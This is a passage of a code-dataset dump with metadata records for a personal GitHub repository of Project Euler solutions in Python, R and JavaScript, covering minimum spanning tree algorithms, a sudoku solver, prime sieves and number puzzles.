(int(words[0]), int(words[1]))))\n if self.save_all_edges:\n self.all_edges.append((int(words[0]), int(words[1]), float(words[2])))\n if self.logging:\n if n % 200000 == 0:\n print('{0}: Importing {1} of {2}'.format(str(datetime.now()), n, self.n_edges))\n\n def solve(self):\n res = []\n trees = [set([i]) for i in range(self.n_nodes)]\n node_to_tree_map = list(range(self.n_nodes))\n\n n = 0\n while 1:\n n += 1\n (weight, edge) = self.edges.get()\n if node_to_tree_map[edge[0]] != node_to_tree_map[edge[1]]:\n # Add edge and merge trees\n res.append((edge[0], edge[1], weight))\n tree1 = node_to_tree_map[edge[0]]\n tree2 = node_to_tree_map[edge[1]]\n for node in trees[tree2]:\n node_to_tree_map[node] = tree1\n trees[tree1] = trees[tree1].union(trees[tree2])\n trees[tree2].clear()\n\n if self.logging:\n if n % 100000 == 0:\n print('{0}: Completed {1} of {2} nodes, {3} of {4} edges'.format(\n str(datetime.now()), len(res), self.n_nodes-1, n, self.n_edges))\n\n if len(trees[tree1]) == self.n_nodes:\n break\n\n return (self.n_nodes, len(res), res)\n\n" }, { "alpha_fraction": 0.4310953915119171, "alphanum_fraction": 0.4805653691291809, "avg_line_length": 14.61111068725586, "blob_id": "4c952f97128825f0ce66de2e6a9ffac3f36ed168", "content_id": "3295198458a880298a445c7f470c4c3742a5a927", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 283, "license_type": "no_license", "max_line_length": 31, "num_lines": 18, "path": "/euler002/euler2.r", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nnextfib <- function(fibs) {\n tmp = fibs[2]\n fibs[2] = fibs[1] + fibs[2]\n fibs[1] = tmp\n return(fibs)\n}\n\ntotal <- 0\nfib = c(0, 1)\nrepeat {\n if (!(fib[2] %% 2)) {\n total = total + fib[2]\n }\n fib = nextfib(fib) \n if (fib[2] > 4e6) break\n}\n\nprint(total)\n\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.5142857432365417, "avg_line_length": 22, "blob_id": "51c953189177db0c93a8adf09f04872c032d13ea", "content_id": "f5ec4490990f66199b44d2a18a264b6e3faff18a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 70, "license_type": "no_license", "max_line_length": 44, "num_lines": 3, "path": "/euler001/euler1.r", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "nums = 1:999\nres = sum(nums[!(nums %% 3) | !(nums %% 5)])\nprint(res)\n\n" }, { "alpha_fraction": 0.450236976146698, "alphanum_fraction": 0.5004739165306091, "avg_line_length": 20.1200008392334, "blob_id": "8ff5c1ab9137df33ecb5b437c11c6e25e9c8a557", "content_id": "9ac313933609d5c07932dd0eb5afe1a97be7c499", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1055, "license_type": "no_license", "max_line_length": 86, "num_lines": 50, "path": "/euler004/euler4.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\"use strict\";\n\n/*\n * Largest palindrome that is product of 2 three digit numbers\n * \n * Minimum 10,000 (100^2); maximum 998,001 (999^2)\n * \n * \n * \n * \n */\n\nfunction isPalindrome(num) {\n var str = '' + num;\n var res = true;\n for (var i=0; i<str.length/2; i=i+1) {\n if (str[i] !== str[str.length-i-1]) {\n res = false;\n break;\n }\n }\n \n return res;\n}\n\nfunction isPalindrome2(str) {\n str = '' + str;\n \n return (str.length <=1) || \n ((str[0] === str[str.length-1]) && isPalindrome2(str.splice(1,str.length-2)));\n}\n\nfunction findPalindromes(min, max) {\n var list = [];\n \n for (var i=max; i>=min; i--) {\n for (var j=max; j>=i; j--) {\n if (isPalindrome(i*j)) {\n list.push([i*j, i, j]);\n //return [i*j, i, j];\n }\n }\n }\n list.sort(function(a,b) { return (b[0]-a[0]); });\n return list.slice(0,20);\n}\n\n//console.log(isPalindrome(99999));\n//console.log(isPalindrome2(99999));\nconsole.log(findPalindromes(100,999));" }, { "alpha_fraction": 0.45468053221702576, "alphanum_fraction": 0.4858841001987457, "avg_line_length": 17.63888931274414, "blob_id": "46ad01d3a3c3319ca9c1875a3a08a2cd7f4401dd", "content_id": "f8bf71953b46d585a486b82ebf77cb9b90e2d3e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 40, "num_lines": 36, "path": "/euler097/euler97.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nclass TruncatedNumber(object):\n def __init__(self, n, max_n):\n self.n = n\n self.max_n = max_n\n\n def truncate(self):\n if self.n > self.max_n:\n self.n = self.n % self.max_n\n\n def set(self, n):\n self.n = n\n self.truncate()\n\n def add(self, n):\n self.n = self.n + n\n self.truncate()\n\n def mult(self, n):\n self.n = self.n * n\n self.truncate()\n\ndef main():\n max_n = int(1e11)\n tn = TruncatedNumber(0, max_n)\n\n tn.set(28433)\n for i in xrange(7830457):\n tn.mult(2)\n\n tn.add(1)\n\n print(tn.n)\n print('{0}'.format(tn.n)[-10:])\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.3294117748737335, "alphanum_fraction": 0.3970588147640228, "avg_line_length": 15.142857551574707, "blob_id": "156a4d5dece0c8b181150480ec58df73f68bb72f", "content_id": "357e59ff28fdbcf62967f94fe8c79b9eb037f0c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 340, "license_type": "no_license", "max_line_length": 61, "num_lines": 21, "path": "/euler025/euler25.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\ndef fib(n):\n if n == 1 or n == 2:\n return 1\n\n n1 = 1\n n2 = 1\n i = 0\n while i < n-2:\n res = n1 + n2\n n1 = n2\n n2 = res\n i = i + 1\n print('{0}: {1}'.format(i+2, len('{0}'.format(res))))\n\n return res\n\ndef main(count):\n res = fib(count)\n\nif __name__ == '__main__':\n main(4782)\n" }, { "alpha_fraction": 0.5300092101097107, "alphanum_fraction": 0.5401661992073059, "avg_line_length": 29.928571701049805, "blob_id": "6dee201599bfc1413489b4e9005ae047fc2b0878", "content_id": "202d826729cb67f64a8d6ee3bd6f9433068a978d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2166, "license_type": "no_license", "max_line_length": 102, "num_lines": 70, "path": "/euler107/src/algo_prim.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "# ---------------------------------\n# More compatible with python 3 code\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\ntry:\n range = xrange\nexcept NameError:\n pass\n\n# ---------------------------------\n\nfrom src.graph import Graph\nfrom Queue import PriorityQueue\n\nclass Prim(object):\n name = 'prim'\n\n def __init__(self, save_all_edges=False):\n self.graph = Graph()\n self.logging = False\n self.save_all_edges = save_all_edges\n self.all_edges = []\n\n def set_logging(self, level):\n if level == 'debug':\n print('Logging turned on')\n self.logging = True\n\n def add_edge(self, node1, node2, weight, n, n_nodes, n_edges):\n if self.save_all_edges:\n self.all_edges.append((node1, node2, weight))\n if self.logging:\n if n % 200000 == 0:\n print('Importing {0} of {1}'.format(n, n_edges))\n\n def init_from_file(self, f):\n self.graph.import_data(f, self.add_edge)\n \n def solve(self):\n visited_nodes = set()\n remaining_nodes = set(range(self.graph.n_nodes))\n touching_edges = PriorityQueue()\n res = []\n \n this_node = 0\n while 1:\n # Add new node, finish if no reamining nodes\n visited_nodes.add(this_node)\n remaining_nodes.remove(this_node)\n if len(remaining_nodes) == 0:\n break\n \n # Add new linked nodes to touching_edges\n new_linked_nodes = self.graph.edges[this_node]\n for new_node in new_linked_nodes:\n touching_edges.put((self.graph.weights[(this_node, new_node)], (this_node, new_node)))\n\n # Pick minimum weight edge to do next\n while 1:\n (new_weight, new_edge) = touching_edges.get()\n if new_edge[1] not in visited_nodes:\n break\n \n res.append((new_edge[0], new_edge[1], new_weight))\n this_node = new_edge[1]\n\n return (self.graph.n_nodes, len(res), res)\n\n" }, { "alpha_fraction": 0.5708582997322083, "alphanum_fraction": 0.5868263244628906, "avg_line_length": 21.772727966308594, "blob_id": "78490993608961658c87480be8d0b52c8fa623b6", "content_id": "042949188606bf1990732acf6c90df737a47b3b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 501, "license_type": "no_license", "max_line_length": 65, "num_lines": 22, "path": "/euler001/euler1.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\ndef is_multiple(num, divs):\n for div in divs:\n if num % div == 0:\n return True\n return False\n\ndef multiples(max_number, divs):\n return [i for i in range(max_number) if is_multiple(i, divs)]\n\ndef sum_multiples(max_number, divs):\n nums = multiples(max_number, divs)\n total = 0\n for i in nums:\n total = total + i\n return total \n\nif __name__ == '__main__':\n max_number = 1000\n divs = [3, 5]\n print(sum_multiples(max_number, divs))\n" }, { "alpha_fraction": 0.4747460186481476, "alphanum_fraction": 0.4934687912464142, "avg_line_length": 33.10396194458008, "blob_id": "aa5e955175489e29aad03b9685f322ce049151c9", "content_id": "84d7085d4b5c71072d834476d8de2395ee1b71d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6890, "license_type": "no_license", "max_line_length": 132, "num_lines": 202, "path": "/euler096/euler96.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nfrom copy import deepcopy\n\nconstraint = range(9)\n\nclass ConflictException(Exception):\n pass\n\ndef transform_coords(x, y, ver):\n if ver == 0:\n xbar = x\n ybar = y \n\n elif ver == 1:\n xbar = y \n ybar = x\n\n elif ver == 2:\n xbar = int(x / 3) * 3 + int(y / 3)\n ybar = (x % 3) * 3 + (y % 3)\n\n else:\n raise Exception('transform called with invalid version {0}'.format(ver))\n\n return (xbar, ybar)\n\nclass Constraint(object):\n def __init__(self, size=9):\n self.values = tuple(([-1 for y in range(size)] for x in range(size)))\n self.constraints = tuple(([range(size) for y in range(size)] for x in range(size)))\n\n def set_value(self, x, y, value):\n self.values[x][y] = value\n \n\nclass Board(object):\n def __init__(self):\n self.values = tuple(([-1 for x in range(9)] for x in range(9))) \n self.constraints = tuple(([constraint[:] for x in range(9)] for x in range(9)))\n \n self.value_maps = tuple(([[-1 for x in range(9)] for x in range(9)] for x in range(3)))\n self.value_map_constraints = tuple(([[constraint[:] for x in range(9)] for x in range(9)] for x in range(3)))\n \n self.unknowns = 81\n \n def set_value(self, x, y, value):\n if value >= 0:\n self.values[x][y] = value\n self.unknowns = self.unknowns - 1\n if self.unknowns == 0:\n return 0\n \n for i in range(3):\n for ybar in range(9):\n xbar = transform_coords(x, y, i)[0]\n (xprime, yprime) = transform_coords(xbar, ybar, i)\n if self.values[xprime][yprime] < 0 and value in self.constraints[xprime][yprime]:\n self.constraints[xprime][yprime].remove(value)\n\n for i in range(3):\n (xbar, ybar) = transform_coords(x, y, i)\n self.value_maps[i][xbar][value] = ybar\n\n for i in range(3):\n (xbar, ybar) = transform_coords(x, y, i)\n for j in [j for j in range(3) if j != i]:\n for zbar in range(9):\n (xprime, zprime) = transform_coords(xbar, zbar, i)\n (xbarbar, zprimebarbar) = transform_coords(xprime, zprime, j)\n if zprimebarbar in self.value_map_constraints[j][xbarbar][value] and self.value_maps[j][xbarbar][value] < 0:\n self.value_map_constraints[j][xbarbar][value].remove(zprimebarbar)\n if len(self.value_map_constraints[j][xbarbar][value]) < 1:\n raise ConflictException('value_maps conflict when setting {0}, {1} to be {2}'.format(x, y, value))\n \n return self.unknowns\n\n def get_value(self, row, col):\n return self.values[row][col]\n\n def check_possibilities(self):\n for x in range(9):\n for y in range(9):\n if len(self.constraints[x][y]) < 1:\n raise ConflictException('Less than 1 value left')\n if len(self.constraints[x][y]) == 1 and self.values[x][y] < 0:\n self.set_value(x, y, self.constraints[x][y][0])\n\n for i in range(3):\n for zbar in range(9):\n for value in range(9):\n if len(self.value_map_constraints[i][zbar][value]) < 1:\n raise ConflictException('value_maps: less than 1 value')\n pass\n elif self.value_maps[i][zbar][value] < 0 and len(self.value_map_constraints[i][zbar][value]) == 1:\n (x, y) = transform_coords(zbar, self.value_map_constraints[i][zbar][value][0], i)\n if self.values[x][y] < 0:\n self.set_value(x, y, value)\n \n def read_text(self, txt):\n txt = txt.replace(' ', '').replace('\\n', '').replace('\\r', '')\n\n for i in range(len(txt)):\n row = int(i/9)\n col = i % 9\n self.set_value(row, col, int(txt[i])-1)\n\n def get_topleft(self):\n return (self.values[0][0]+1) * 100 + (self.values[0][1]+1) * 10 + (self.values[0][2]+1)\n\n def print_board(self):\n print_vals = [self.values[i][:] for i in range(9)]\n # print_vals = self.values[:][:]\n for i in range(9):\n for j in range(9):\n if print_vals[i][j] < 0:\n print_vals[i][j] = ' '\n else:\n print_vals[i][j] = print_vals[i][j] + 1\n\n for row in range(9):\n if row != 0 and (row)%3 == 0:\n print('------+-------+-------')\n\n print('{0} {1} {2} | {3} {4} {5} | {6} {7} {8}'.format(print_vals[row][0],\n print_vals[row][1], print_vals[row][2], print_vals[row][3],\n print_vals[row][4], print_vals[row][5], print_vals[row][6],\n print_vals[row][7], print_vals[row][8]))\n \n def print_constraints(self):\n for x in range(9):\n for y in range(9):\n if self.values[x][y] < 0:\n print(len(self.constraints[x][y]), end='')\n else:\n print('-', end='')\n print('')\n\ndef guess(board):\n original_board = deepcopy(board)\n\n for x in range(9):\n for y in range(9):\n if board.values[x][y] < 0:\n break\n if board.values[x][y] < 0:\n break\n\n if len(board.constraints[x][y]) == 0:\n return False\n\n this_guess = board.constraints[x][y][0]\n # print('Guessing {0} in ({1}, {2}) with {3} unknowns remaining'.format(this_guess, x, y, board.unknowns))\n try:\n board.set_value(x, y, this_guess)\n res = go(board)\n\n if res:\n return res\n # print('Stalled') \n except ConflictException as e:\n # print('Conflict')\n pass\n \n original_board.constraints[x][y].remove(this_guess)\n return guess(original_board)\n\ndef go(board):\n unknowns = board.unknowns\n board.check_possibilities()\n\n # print('{0} unknowns'.format(board.unknowns))\n if board.unknowns == 0:\n return board\n elif board.unknowns == unknowns:\n return guess(board)\n\n return go(board)\n\ndef main():\n f = open('p096_sudoku.txt', 'r')\n\n total = 0\n for i in range(50):\n f.readline()\n prob = ''\n for j in range(9):\n prob = prob + f.readline()\n\n x = Board()\n x.read_text(prob)\n\n print('{0}) Starting board, {1} unknowns'.format(i, x.unknowns), end=' ')\n res = go(x)\n\n if res.unknowns == 0:\n print('Solved board')\n \n total = total + res.get_topleft()\n print(total)\n\nif __name__ == '__main__':\n main() \n" }, { "alpha_fraction": 0.4270833432674408, "alphanum_fraction": 0.4854166805744171, "avg_line_length": 16.814815521240234, "blob_id": "7a2fe681e26fdcc6a582b5be3ac80663e9fe375f", "content_id": "730102345bbf4e4f0fa791d79bc8e7fe752fead2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 480, "license_type": "no_license", "max_line_length": 47, "num_lines": 27, "path": "/euler005/euler5.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "'use strict';\n\nfunction checkFactors(n) {\n var nums = [20,19,18,17,16,15,14,13,12,11];\n \n var divisible = true;\n for (var i=0; i<nums.length; i++) {\n if (n % nums[i] != 0) {\n divisible = false;\n break;\n }\n }\n \n return divisible;\n}\n\nfunction findNumber() {\n var i=0, found=false;\n do {\n i=i+1;\n found = checkFactors(i*20); \n } while (!found);\n \n return i*20;\n}\n\nconsole.log(findNumber());" }, { "alpha_fraction": 0.46178343892097473, "alphanum_fraction": 0.49203822016716003, "avg_line_length": 20.65517234802246, "blob_id": "8a3053899ff22eca12b00bb16506d6e0b3d1e71e", "content_id": "634143da37271a2b078c659330ce92a17c402cde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 628, "license_type": "no_license", "max_line_length": 56, "num_lines": 29, "path": "/euler009/euler9.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from math import sqrt\n\ndef get_triplet(a, b):\n c = sqrt(a**2 + b**2)\n if float(int(c)) == c:\n return int(c)\n else:\n return 0\n\ndef generate_triplets(c_max):\n res = []\n for a in range(1, c_max):\n for b in range(a, c_max):\n c = get_triplet(a, b)\n if c != 0:\n res.append((a, b, c))\n return res\n\ndef main():\n res = generate_triplets(1000)\n print(res)\n\n for triplet in res:\n if triplet[0] + triplet[1] + triplet[2] == 1000:\n print(triplet)\n print(triplet[0]*triplet[1]*triplet[2])\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.509159505367279, "alphanum_fraction": 0.5204741358757019, "avg_line_length": 21.609756469726562, "blob_id": "354c7015986f064cc3dfd50a5d84a2bdd6666aa9", "content_id": "5795bc2e163cfc16daee08501e9204983fb428d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1856, "license_type": "no_license", "max_line_length": 68, "num_lines": 82, "path": "/euler035/euler35.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\ndef generate_primes(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n primes = set() \n\n i = 1\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n i = i + 1\n num = numbers[i]\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n mult = num * i\n step = 2 * num\n if num == 2:\n step = num \n\n while 1:\n try:\n numbers[mult] = 0\n mult = mult + step\n except IndexError as e:\n break\n\n # Process this prime number\n if callback_fn:\n finished = callback_fn(num)\n if finished:\n break\n else:\n primes.add(num)\n\n if primes:\n return primes\n\ndef is_rotatable(prime, primes):\n prime_string = '{0}'.format(prime)\n rotations = set() \n for i in range(len(prime_string)):\n rotations.add(int(prime_string[i:] + prime_string[:i]))\n\n for rot in rotations:\n if not rot in primes:\n return None \n\n return rotations\n\ndef get_rotatables(n_max):\n primes = generate_primes(n_max, None)\n rotatables = [] \n \n for prime in primes:\n if prime in rotatables:\n continue\n\n rotations = is_rotatable(prime, primes)\n if rotations:\n for rot in rotations:\n rotatables.append(rot)\n\n return rotatables\n\ndef main():\n n_max = 100\n res = get_rotatables(n_max)\n print(res)\n print(len(res))\n\n n_max = 1000000\n res = get_rotatables(n_max)\n print(len(res))\n\nif __name__ == '__main__':\n main()\n \n" }, { "alpha_fraction": 0.5394265055656433, "alphanum_fraction": 0.5645161271095276, "avg_line_length": 31.823530197143555, "blob_id": "edf22f465572686c4d6037c867609ea24a77495d", "content_id": "d1dc85ae80d1bc7f5db54f4415bab4f6f8dcaf38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 558, "license_type": "no_license", "max_line_length": 78, "num_lines": 17, "path": "/euler024/euler24.r", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "get_digits <- function(digits, nth_perm) {\n if (nth_perm == 1) return(paste(digits, collapse = ''))\n if (nth_perm < 1) stop(paste0('Error with ', paste(digits, collapse = ', '),\n ' and nth_perm = ', nth_perm))\n\n n_digits <- length(digits)\n fact <- factorial(n_digits - 1)\n i <- (nth_perm - 1) %/% fact + 1\n remaining <- nth_perm - (i - 1) * fact\n\n print(digits[i])\n paste0(digits[i], get_digits(digits[-i], remaining))\n}\n\nmain <- function(n_digits = 10, nth_perm = 1e6) {\n get_digits(seq(0, n_digits - 1), nth_perm)\n}\n" }, { "alpha_fraction": 0.3712686598300934, "alphanum_fraction": 0.41791045665740967, "avg_line_length": 21.29166603088379, "blob_id": "26a3ec0937fadb722b1b2158fe418893ff9a1b7d", "content_id": "5707932bc8da6e4dab43b7c4ebdd31b5c4ef04d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 536, "license_type": "no_license", "max_line_length": 53, "num_lines": 24, "path": "/euler030/euler30.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\ndef digit_fifths(n, e):\n i = 10\n while i < n:\n nums = [int(n) for n in str(i)]\n sum_pows = sum([n**e for n in nums])\n if sum_pows == i:\n yield i\n i = i + 1\n\ndef main():\n e = 5\n print('Max: n * 9^e = 10^n')\n print('n = 5, {0} = {1}'.format(5 * 9**e, 10**5))\n print('n = 6, {0} = {1}'.format(6 * 9**e, 10**6))\n\n res = []\n for i in digit_fifths(6*9**e, e):\n print(i)\n res.append(i)\n\n print('Sum = {}'.format(sum(res)))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4593128263950348, "alphanum_fraction": 0.47423145174980164, "avg_line_length": 22.76344108581543, "blob_id": "afb1d31e36b387582223f62049023038330fa427", "content_id": "30d56c54eb0604a58102fa7b1bc50bf9b7fc5055", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2212, "license_type": "no_license", "max_line_length": 68, "num_lines": 93, "path": "/euler050/euler50.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\ndef generate_primes(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n primes = set() \n\n i = 1\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n i = i + 1\n num = numbers[i]\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n mult = num * i\n step = 2 * num\n if num == 2:\n step = num \n\n while 1:\n try:\n numbers[mult] = 0\n mult = mult + step\n except IndexError as e:\n break\n\n # Process this prime number\n if callback_fn:\n finished = callback_fn(num)\n if finished:\n break\n else:\n primes.add(num)\n\n if primes:\n return primes\n\ndef check_prime_sums(n_max, min_len):\n primes = []\n prime_sums = {}\n\n def add_prime(prime):\n primes.append(prime)\n\n def calc_prime_sums():\n for i, v in enumerate(primes):\n this_sum = 0\n for j in xrange(i, len(primes)):\n this_sum += primes[j]\n if this_sum > n_max:\n break\n this_len = j - i + 1\n if this_sum in prime_sums:\n if prime_sums[this_sum] < this_len:\n prime_sums[this_sum] = this_len\n else:\n prime_sums[this_sum] = this_len\n\n generate_primes(n_max, add_prime)\n calc_prime_sums()\n\n primes_set = set(primes)\n max_len = 0\n res = 0\n for k in prime_sums:\n if prime_sums[k] > max_len:\n if k in primes_set:\n max_len = prime_sums[k] \n res = k\n\n return (max_len, res)\n\ndef main():\n n_max = 100\n res = check_prime_sums(n_max, 5)\n print(res)\n \n n_max = 1000\n res = check_prime_sums(n_max, 20)\n print(res)\n\n n_max = 1000000\n res = check_prime_sums(n_max, 30)\n print(res)\n\nif __name__ == '__main__':\n main()\n \n" }, { "alpha_fraction": 0.6699410676956177, "alphanum_fraction": 0.6817288994789124, "avg_line_length": 23.238094329833984, "blob_id": "08ee41a1fb639a1a4333a75d1623ce87dc12bc13", "content_id": "0f9559f0be79ee84ba5fcf34e2bce6edf71620f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 509, "license_type": "no_license", "max_line_length": 57, "num_lines": 21, "path": "/euler107/src/chooser.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom __future__ import absolute_import\n\nfrom src.algo_prim import Prim\nfrom src.algo_reversedelete import ReverseDelete\nfrom src.algo_kruskal import Kruskal\n\nalgorithms = {\n '1': Prim,\n '2': ReverseDelete,\n '3': Kruskal\n}\n\ndef choose_algorithm(choice):\n choice = '{0}'.format(choice).strip()\n algo = algorithms[choice]\n return algo\n\ndef print_algorithms():\n for i in enumerate(algorithms):\n print(' {0}: {1}'.format(i, algorithms[i].name))\n" }, { "alpha_fraction": 0.4377470314502716, "alphanum_fraction": 0.4693675935268402, "avg_line_length": 17.418182373046875, "blob_id": "98d4067758078e06b101aa7ebb7db9b2460bb3b2", "content_id": "6ca4b9249a3524e4cbed071977463f2f768cc44c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 45, "num_lines": 55, "path": "/euler003/euler3.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\ndef test_prime(primes, i):\n for n in primes:\n if i % n == 0:\n return False\n \n return True\n\ndef append_prime(primes):\n if primes[-1] == 2:\n primes.append(3)\n return 3\n \n is_prime = False\n i = primes[-1]\n while not is_prime:\n i += 2\n is_prime = test_prime(primes, i)\n \n primes.append(i)\n return i\n\ndef prime_factors(i):\n \"\"\" Assume that i > 3 \"\"\"\n primes = [2]\n factors = []\n \n while i > 1:\n n = primes[-1]\n multiplicity = 0\n while i % n == 0:\n i /= n\n multiplicity += 1\n \n if multiplicity > 0:\n factors.append([n, multiplicity])\n\n append_prime(primes)\n \n return factors\n\ndef main():\n result = prime_factors(600851475143)\n print(result)\n print(result[-1][0])\n \n total = 1\n for n in result:\n total *= n[0]**n[1]\n \n print(total)\n \nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.4903302490711212, "alphanum_fraction": 0.5060994029045105, "avg_line_length": 31.611650466918945, "blob_id": "8d501f34dfcea808ebf5ef9e29e0ea67d1fd4966", "content_id": "e065fb1b5db8bd0f101eb7bead8f36d463547a76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3361, "license_type": "no_license", "max_line_length": 96, "num_lines": 103, "path": "/euler107/src/graph.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "# ---------------------------------\n# More compatible with python 3 code\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\ntry:\n range = xrange\nexcept NameError:\n pass\n\n# End of more compatible with python 3\n# ---------------------------------\n\nfrom collections import deque\nfrom collections import defaultdict\n\nclass Graph(object):\n def __init__(self):\n self.n_nodes = 0\n self.edges = defaultdict(set)\n self.weights = {}\n\n def import_data(self, f, callback=None):\n n = 0\n for line in f:\n n += 1\n if n == 1:\n self.n_nodes = int(line)\n elif n == 2:\n self.n_edges = int(line)\n else: \n words = line.split()\n node1 = int(words[0])\n node2 = int(words[1])\n weight = float(words[2])\n self.add_edge(node1, node2, weight)\n if callback:\n callback(node1, node2, weight, n-2, self.n_nodes, self.n_edges)\n\n def add_edge(self, node1, node2, weight=1):\n self.n_nodes = max(self.n_nodes, node1+1, node2+1)\n self.edges[node1].add(node2)\n self.edges[node2].add(node1)\n self.weights[(node1, node2)] = weight\n self.weights[(node2, node1)] = weight\n \n def remove_edge(self, node1, node2):\n # Removes the edge, but doesn't alter n_nodes \n self.edges[node1].remove(node2)\n self.edges[node2].remove(node1)\n del self.weights[(node1, node2)]\n del self.weights[(node2, node1)]\n\n def is_connected(self):\n remaining_nodes = set(range(self.n_nodes))\n nodes_queue = deque([0])\n remaining_nodes.remove(0)\n while 1:\n if len(remaining_nodes) == 0:\n return True\n\n if len(nodes_queue) == 0:\n return False\n\n this_node = nodes_queue.pop()\n for new_node in self.edges[this_node]:\n if new_node in remaining_nodes:\n nodes_queue.append(new_node)\n remaining_nodes.remove(new_node)\n\n # def is_cyclic(self):\n # remaining_nodes = set(range(self.n_nodes))\n # nodes_visited = set()\n # nodes_to_visit = deque([(0, 0)])\n\n # res = False\n # while 1:\n # if len(remaining_nodes) == 0 and len(nodes_to_visit) == 0:\n # break\n # if len(nodes_to_visit) == 0:\n # new_node = remaining_nodes.pop()\n # nodes_to_visit.append((new_node, new_node))\n\n # (from_node, this_node) = nodes_to_visit.pop()\n # nodes_visited.add(this_node)\n # \n # for new_node in self.edges[this_node]:\n # if new_node == from_node:\n # continue\n\n # if new_node in nodes_visited:\n # print(this_node, new_node, nodes_visited, nodes_to_visit, remaining_nodes)\n # print('cyclic')\n # return True\n\n # if new_node in remaining_nodes:\n # nodes_to_visit.append((this_node, new_node))\n # remaining_nodes.remove(new_node)\n\n # print('not cyclic')\n # return False \n\n" }, { "alpha_fraction": 0.7592592835426331, "alphanum_fraction": 0.7592592835426331, "avg_line_length": 34.83333206176758, "blob_id": "30dd7a9ae509fceab7b7940fcd724fdae47da7b4", "content_id": "d8588294aff375853674cb014b8ed889860f22cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 432, "license_type": "no_license", "max_line_length": 81, "num_lines": 12, "path": "/README.md", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "Project Euler\n============\n\nThe problems are available at [Project Euler](https://projecteuler.net/problems).\n\nAs per the instructions there, please only refer to my solutions once\nyou have already solved the problem yourself. I am posting here for my own\nreference.\n\nMy first priority has been to get a solution . Then it's\nto get a solution in a 'reasonable' length of time. Then only later\nmight it be elegance and efficiency.\n\n\n" }, { "alpha_fraction": 0.429193913936615, "alphanum_fraction": 0.4880174398422241, "avg_line_length": 18.913043975830078, "blob_id": "1b32ff48bb80ba1b34677e1ebeeb8e6a43c838fd", "content_id": "53086c7d14504f2cd1b594c564d80b11b3c9ae76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 459, "license_type": "no_license", "max_line_length": 52, "num_lines": 23, "path": "/euler031/euler31.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\ncoins = [1, 2, 5, 10, 20, 50, 100, 200]\n\ndef counter(total, max_coin=200):\n if max_coin == 1:\n return 1\n\n count = 0\n for coin in (c for c in coins if c <= max_coin):\n new_total = total - coin\n\n if new_total < 0:\n pass\n\n elif new_total == 0:\n count = count + 1\n\n else:\n count = count + counter(new_total, coin)\n\n return count \n\nif __name__ == '__main__':\n print(counter(200))\n" }, { "alpha_fraction": 0.3218390941619873, "alphanum_fraction": 0.3639846742153168, "avg_line_length": 12.736842155456543, "blob_id": "fb948781c16f1d5805fc0ece59440165fe62c263", "content_id": "0f856f623d63ac1d61f0842c98ceeaced4bac941", "detected_licenses": [], "is_generated": false, 